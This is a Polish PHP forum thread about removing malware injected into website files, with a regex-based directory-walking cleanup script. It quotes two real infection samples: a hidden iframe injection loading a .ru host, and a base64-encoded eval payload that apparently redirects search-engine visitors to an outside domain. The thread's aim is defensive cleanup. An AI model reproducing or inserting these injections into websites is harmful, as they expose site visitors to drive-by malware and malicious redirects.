[PHP] Skrypt do usunięcia wirusa, Skrypt do usunięcia wirusa iframe Opcje

[lukasz_web]

Witam,

Posiadam zainfekowane ponad 1000 plików wirusem:

[PHP] pobierz, plaintext 
<?
#8c2699#
 echo " <script type=\"text/javascript\" language=\"javascript\" >                                 document.write('<iframe src=\"http://jaqvicmy.ru/count7.php\" border=\"0\" width=\"0\" height=\"0\" style=\"display:none\"></iframe>');</script>";
#/8c2699#
?>
[PHP] pobierz, plaintext 

Znalazłem skrypt php który automatycznie powinien mi usunąć niechciany kod z plików:

[PHP] pobierz, plaintext 
<?php
$kasuj = 1; #jezeli chcesz tylko informacje o zakazonych plikach, bez usuwania iframe ustaw na 0
$folder = '.'; #wpisz tutaj nazwe przeszukiwanego folderu, kropka onacza wszystkie foldery
function ListFiles($dir) {
 
    if($dh = opendir($dir)) {
 
        $files = Array();
        $inner_files = Array();
 
        while($file = readdir($dh)) {
            if($file != "." && $file != ".." && $file[0] != '.') {
                if(is_dir($dir . "/" . $file)) {
                    $inner_files = ListFiles($dir . "/" . $file);
                    if(is_array($inner_files)) $files = array_merge($files, $inner_files); 
                } else {
                                $type=stristr($file, '.');
                                if($type == '.php' OR $type == '.html' OR $type == '.tpl')
                    array_push($files, $dir . "/" . $file);
                }
            }
        }
 
        closedir($dh);
        return $files;
    }
}
 
$pattern="/<iframe src=\".*\" width=1 height=1.*\"><\/iframe>/";
 
foreach (ListFiles($folder) as $key=>$file){
    echo "<span style=\"font-family:arial;font-size:14px;font-color:black;display:block;margin-left:5px;margin-top:20px;\">Sprawdzam plik <b>".$file ."</b></span>";
        $contents=@file_get_contents($file);
        $ncontents=preg_replace($pattern, "", $contents, -1, $count);
        if($count != '0')
        {
        if($kasuj == 1)
        if(@file_put_contents($file, $ncontents))
        echo "<span style=\"font-family:arial;font-size:14px;font-color:#800000;display:block;margin-left:50px;font-weight:bold;\">Znaleziono i <font color=\"red\">pomyslnie skasowano</font> <b>iframe</b> z pliku <u>".$file."</u></span>";
        else
        echo "<span style=\"font-family:arial;font-size:14px;font-color:#800000;display:block;margin-left:50px;font-weight:bold;\">Znaleziono <font color=\"red\">lecz nie udało się usunac</font> <b>iframe</b> z pliku <u>".$file."</u></span>";
 
        }
        else
        echo "<span style=\"font-family:arial;font-size:14px;font-color:black;display:block;margin-left:50px;\">Plik <b>".$file."</b> nie jest zainfekowany</span>";
 
} 
 
 
?>
[PHP] pobierz, plaintext 

No i przerobiłem sobie pod swój wirus skrypt:

[PHP] pobierz, plaintext 
$pattern="/#8c2699#(.*)#\/8c2699#/";
[PHP] pobierz, plaintext 

I nie usuwa ciągu znaków :/ w wirusie mam spacje i entery to może dlatego (.*) -> nie działa?

[czychacz]

spróbuj

[PHP] pobierz, plaintext 
$pattern="/#8c2699#(.*)#\/8c2699#/isU";
[PHP] pobierz, plaintext 

[-wieri3-]

Witam, a może ktoś mi przerobić wzór, żeby kasował ten kod:

eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGx
tKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VT
RVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiV2luZG93cyIpKXsKaWYgKHN0c
mlzdHIoJHVhZywiTVNJRSIpIG9yIHN0cmlzdHIoJHVhZywiT3BlcmEiKSBvciBzdHJpc3RyKCR1YWcsIk
ZpcmVmb3giKSBvciBzdHJpc3RyKCR1YWcsIkNocm9tZSIpKXsKaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI
0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4w
IikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikgYW5kICFzdHJzdHIoJHVhZywiRmlyZWZveC8zL
iIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbm
cuIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlci4iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJ
hbHRhLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInQuY28vIikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlu
eXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxc
P3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3Rya
XN0cigkcmVmZXJlciwiYW9sLmNvbSIpIG9yIChwcmVnX21hdGNoICgiL2h0dHBzOlwvXC93d3dcLmdvb2
dsZVwuKC4qPylcLy8iLCRyZWZlcmVyKSBhbmQgc3Ryc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQ
iXSwiQ2hyb21lLyIpKSkgewppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgYW5kICFzdHJpc3Ry
KCRyZWZlcmVyLCJpbnVybCIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiRWVZcDNENyIpKXsKaGVhZGVyK
CJMb2NhdGlvbjogaHR0cDovL2lwd2hydG1sYS5lcGFjLnRvLyIpOwpleGl0KCk7Cn0KfQp9Cn0KfQp9Cn
0KfQ=="));